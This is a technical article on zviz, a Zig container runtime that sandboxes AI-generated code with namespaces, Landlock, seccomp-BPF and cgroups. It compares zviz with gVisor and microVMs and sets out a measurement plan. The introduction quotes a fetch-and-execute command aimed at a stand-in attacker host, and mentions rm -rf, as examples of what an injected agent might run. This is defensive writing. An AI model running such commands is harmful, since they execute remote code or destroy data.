Sandboxing Untrusted Code in Zig: The zviz Architecture
How zviz contains untrusted and AI-generated code by selective denial: namespaces, Landlock, seccomp-BPF and cgroups v2, with policy built at Zig comptime.
This article was rewritten in October 2026 to describe zviz’s actual architecture and to withdraw performance figures that had not been measured.
AI agents are writing code and executing it. This is not a prediction — it is the present state of frontier model deployment. Coding assistants generate functions, test them, observe the output, and iterate. Research agents write data processing scripts and run them against datasets. Autonomous systems generate configuration code, deploy it, and monitor the results.
All of this code is untrusted. Not because the models are malicious, but because they are imperfect, and because the text they read can be. A model that generates a shell command might accidentally rm -rf something that matters. A model that writes a network client might open connections to arbitrary endpoints. A prompt injection can turn a helpful agent into one that runs curl attacker.example | sh.
The standard response is isolation: run the untrusted code in a container, a microVM, or a userspace kernel. Each of those makes a different trade between the strength of the boundary and what it costs to cross it, and for an agent that generates and executes many short snippets per session, the cost side of that trade gets paid many times over.
zviz is our research project on the cost side. It is an OCI-compatible container runtime written in Zig that takes a selective denial approach: rather than emulating the kernel or booting a new one, it narrows what an ordinary Linux process is allowed to ask the host kernel for, and refuses the rest before any kernel code runs.
Four Ways to Contain a Process
It helps to be precise about what the established options actually do.
Plain containers (runc, the default under Docker) use Linux namespaces and cgroups to restrict the process’s view of the system. The process runs directly on the host kernel and can reach a large share of its syscall interface. This is fast, but every reachable syscall is attack surface, and container-escape CVEs are a recurring reminder that “containerised” is not the same as “contained”.
MicroVMs such as Firecracker run a full guest kernel inside a lightweight virtual machine. The untrusted code attacks the guest kernel, and the host is exposed only through the virtual machine monitor’s small device interface. The boundary is strong; the price is booting a guest.
Userspace kernels such as gVisor intercept the sandboxed application’s system calls and reimplement them in a separate, sandboxed process. The application never talks to the host kernel directly, so a host-kernel bug is much harder to reach. The price is that every syscall pays a translation cost.
Selective denial, which is what zviz does, is a fourth position. The process talks to the host kernel directly, exactly like a plain container, but the set of things it may ask for is cut down hard and enforced in layers. Nothing is emulated and nothing is booted. The concession is explicit: the host kernel stays inside the trusted computing base. If your threat model includes an attacker holding a kernel zero-day, gVisor or a microVM is the right answer and zviz is not.
What zviz Actually Enforces
zviz applies five enforcement layers, in a fixed order:
- Namespaces. The workload runs as PID 1 of a fresh user, PID, mount, IPC and UTS namespace.
- Capabilities. All 41 Linux capabilities are dropped.
- Landlock LSM. A Landlock ruleset restricts filesystem access.
- Seccomp-BPF. A BPF filter decides each syscall inside the kernel. 132 syscalls are allowed through to the host kernel natively, 24 dangerous ones are denied outright, and
socketis filtered on its arguments rather than blocked wholesale. - cgroups v2. Memory, PID and CPU limits bound resource consumption, which matters when agents start spawning agents.
The ordering is not cosmetic. Capabilities are dropped before the seccomp filter loads, and Landlock is applied before seccomp so that the runtime’s own security-setup syscalls are not blocked by the filter it is about to install.
It is worth being exact about the seccomp layer, because “syscall interception” is often used loosely. A seccomp-BPF filter is a small program the kernel runs at syscall entry. zviz does not trap syscalls into userspace, inspect them and forward them; the kernel evaluates the filter and either lets the call proceed or fails it. That is why the allowed set runs at native kernel speed by construction — there is no second process in the path.
The runtime also mounts private pseudo-filesystems into the container’s rootfs: /proc (with nosuid, nodev and noexec), a read-only /sys, and a private tmpfs /dev containing only the standard device nodes such as /dev/null and /dev/urandom. It ships as a single static binary with no daemon, because a sandbox that needs a privileged background service has enlarged the attack surface it exists to reduce.
Using it looks like using any OCI runtime. Given a bundle (a rootfs plus config.json):
# Run with the default profile
./zig-out/bin/zviz run my-container ~/zviz-bundle
# Select a built-in profile; --verbose logs every blocked syscall
./zig-out/bin/zviz --profile=hostile-tenant run my-container ~/zviz-bundle
The built-in profiles are ci-runner (the default), web-server, batch-job, hostile-tenant and development. The last one allows ptrace for debugging and is explicitly not for production. The --verbose flag matters more than it sounds for agent workloads: when generated code fails, you want to know whether it failed on its own or hit the policy.
Why Zig
We chose Zig for zviz for specific technical reasons, not out of language preference.
Comptime for Policy
A sandbox profile is policy: which syscalls are allowed, which are denied, which arguments socket may take, which capabilities exist. In most runtimes that policy is assembled at startup from configuration, which means the code that builds the seccomp program is itself running on every container start and is itself something to audit.
Zig’s comptime lets zviz construct seccomp filters and capability sets during compilation instead. Comptime is not a macro sublanguage; it is ordinary Zig evaluated by the compiler when its inputs are known. The policy a binary enforces is therefore fixed in the binary, deterministic for a given profile, and reviewable as code rather than reconstructed from a configuration file at runtime. The repository’s policy-compiler design takes this to its logical end: one binary per profile, with the enforcement artefacts embedded.
Doing the same in Rust would mean proc macros or a build script that generates code; in C, preprocessor macros or an external generator. Both are workable. Neither is as pleasant to write, test and review as plain code that happens to run at compile time.
Explicit Allocator Control
Every Zig function that allocates takes an Allocator parameter, and there is no hidden global allocator. For the runtime’s own setup path — parsing the OCI bundle, building mounts, applying policy — this makes it straightforward to see where memory comes from and to handle allocation failure as an error rather than an abort. Note what this does not do: it does not govern the sandboxed workload’s memory. That is a separate process, and its memory is bounded by cgroups v2.
No Hidden Control Flow
Zig has no constructors, destructors, operator overloads or exceptions running behind your back. When you read a line of Zig, what you see is what executes. In a security-critical component this is valuable: a review of the setup path can verify, line by line, that capabilities are dropped before seccomp is installed and that no file descriptor leaks into the container through cleanup code nobody wrote down.
When to Use gVisor Instead
Selective denial blocks dangerous syscalls; gVisor emulates them safely. For some workloads that difference decides the matter:
- Anything that needs
ptrace— strace, debuggers. zviz blocks it. - Anything that needs
mountorunshare— Docker-in-Docker, nested containers. - Build systems that sandbox internally, such as Bazel and Nix, which create their own namespaces.
If your workload needs those, use gVisor. If it does not, the question becomes whether the host kernel belonging to your trusted computing base is acceptable for your threat model — and for model-generated code that might do something careless, at high rates, it usually is.
What We Would Measure, and How
We have not yet published overhead, latency or memory figures for zviz that meet our own evidence standard — a pinned methodology, released raw data, and a rerun someone else could reproduce — so this article quotes none. Here is what we would measure and how, so that when numbers appear they can be checked against the plan rather than taken on trust.
Startup latency. Time from invoking the runtime to the first instruction of the workload, for the same OCI bundle under runc, gVisor and zviz, on the same host and kernel. Reported as a distribution (p50, p95, p99) over many runs, not a single best case, with the cgroup and mount setup cost separated out where possible.
Per-syscall cost. Microbenchmarks of allowed syscalls — getpid, clock_gettime, read, write — inside each runtime, compared with an unsandboxed baseline. For selective denial the expected cost is the seccomp filter’s evaluation; the point of measuring is to confirm that rather than assume it. Syscall-heavy workloads such as a CI build complement the microbenchmarks, because real programs do not call getpid in a loop.
Memory. Resident memory attributable to the runtime per container, and the density that follows: how many containers a node holds at a target latency.
Isolation. A corpus of known escape techniques and attack patterns run against each runtime, reporting which were blocked, at which layer, and with the --verbose denial log as evidence. Equally important is the compatibility side: which legitimate workloads break under each profile.
The fairness rules matter as much as the metrics: same hardware, same kernel, same image, same resource limits, warm-up phases, several independent repetitions, and every runtime and kernel version recorded. Until those results exist, the honest statement is the architectural one: allowed syscalls go directly to the host kernel, and nothing is emulated.
Security Model and Limitations
zviz’s security model is defence in depth: namespaces, an empty capability set, Landlock, seccomp-BPF and cgroups v2, each of which an attacker must get past. It is not a proof. It relies on the correctness of the Linux kernel’s implementations of all five, and a kernel vulnerability in an allowed syscall could allow escape. That is the trust boundary of a plain container, narrowed — not the trust boundary of gVisor or a microVM.
The requirements are concrete: Linux 5.13 or later (for Landlock) and cgroups v2. On a kernel without Landlock the policy degrades to what the kernel offers, which is a weaker boundary than the headline description, so checking the kernel’s feature set is part of deploying zviz correctly rather than an optional hardening step. On Ubuntu 24.04 and later, an AppArmor profile is needed to grant the user-namespace permission that pivot_root requires; without it zviz falls back to weaker, chdir-only filesystem isolation.
zviz is Linux-only by design, because the primitives it composes are Linux primitives.
What We Have Learned
Comptime is a good fit for policy. Building seccomp filters and capability sets at compile time turns sandbox policy into something you review as code and ship as a fixed artefact. That is a better property for a security component than any configuration format we have used.
Selective denial is underexplored for AI workloads. Most sandboxing discussion in the AI community centres on Docker or on full userspace kernels. The space in between — a plain container with a drastically reduced, layered policy — suits short-lived, high-frequency execution of code that is more likely to be careless than weaponised, provided you are explicit that the host kernel is trusted.
Zig’s ecosystem immaturity is a real cost. We spent non-trivial time working around missing standard library features, incomplete documentation and tooling gaps, and the language surface is still moving. For a less systems-focused project this cost would likely be prohibitive.
zviz is open source, and we welcome contributions — particularly from people with experience in kernel security, Zig, or AI agent infrastructure, and particularly from anyone willing to run the measurements above on their own hardware.